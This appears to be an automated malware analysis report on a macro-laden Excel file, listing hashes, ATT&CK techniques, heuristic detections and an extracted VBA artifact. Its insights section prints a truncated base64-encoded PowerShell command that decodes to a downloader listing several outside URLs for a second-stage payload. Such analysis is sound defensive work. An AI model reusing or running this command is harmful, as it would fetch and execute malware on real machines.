Office (OLE) / .XLSX malware analysis — malicious · efbfaaf9561c487a

MALICIOUS

Office (OLE) / .XLSX

145.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel

MD5: cd1ad0deac9d6f3fc27e64812be5ee08 SHA-1: 90b1feb680c5b81722f8de47260e1d8b94bbad81 SHA-256: efbfaaf9561c487a75ded2166a8d9f398b684dd0eea487972194c4d8477be8f3

280 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1059.003 Windows Command Shell T1059.005 Visual Basic

The file contains VBA macros, specifically a Workbook_Open macro, which is designed to execute arbitrary commands. The script utilizes 'CreateObject' to instantiate 'Wscript.Shell' and 'Scripting.FileSystemObject', indicating an intent to interact with the operating system. The reconstructed command line `hell -e JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAHIAZQB1AG0AYQB0AGkAcwBtAGMAbABpAG4AaQBjAC4AYwBvAG0ALwAtAC8AcwBjAEMAbgBtADMAbQBiAEoAUgBwAHMAYQBCAEsAQgBiAHIAQwAvACwAaAB0AHQAcABzADoALwAvAHMAaABvAGQAaABtAGEAbgBqAGEAcgBpAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB4AGoARQBtAEsANABQAGQAMwBOAC8ALABoAHQAdABwADoALwAvAHQAdQBiAGUAbABvAGMAYQBsAC4AbgBlAHQALwB3AHAALQBhAGQAbQBpAG4ALwBYADQAWABtADQATQBrAC8ALABoAHQAdABwAHMAOgAvAC8AcABhAGMAaQBmAGkAYwBoAG8AbQBlAGIAcgBvAGsAZQByAC4AYwBvAG0ALwByAG8AZABlAHIAaQBjAGsALwBSAFIAawAvACwAaAB0AHQAcABzADoALwAvAG0AbwBsAGkAbgBhAGkALQBqAG8AdQByAG4AYQBsAC4A` suggests the download and execution of a second-stage payload from multiple URLs. The presence of `c:\programdata\jledshf.bat` and `c:\programdata\sduoixo.vbs` further indicates the creation of malicious files on the system.

Heuristics 7

ClamAV: Doc.Malware.Valyria-10004384-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Valyria-10004384-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `527d0656a0c2c323955d068683ef8f7e20c035cda247a1e24383595c0eb3403b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	7821 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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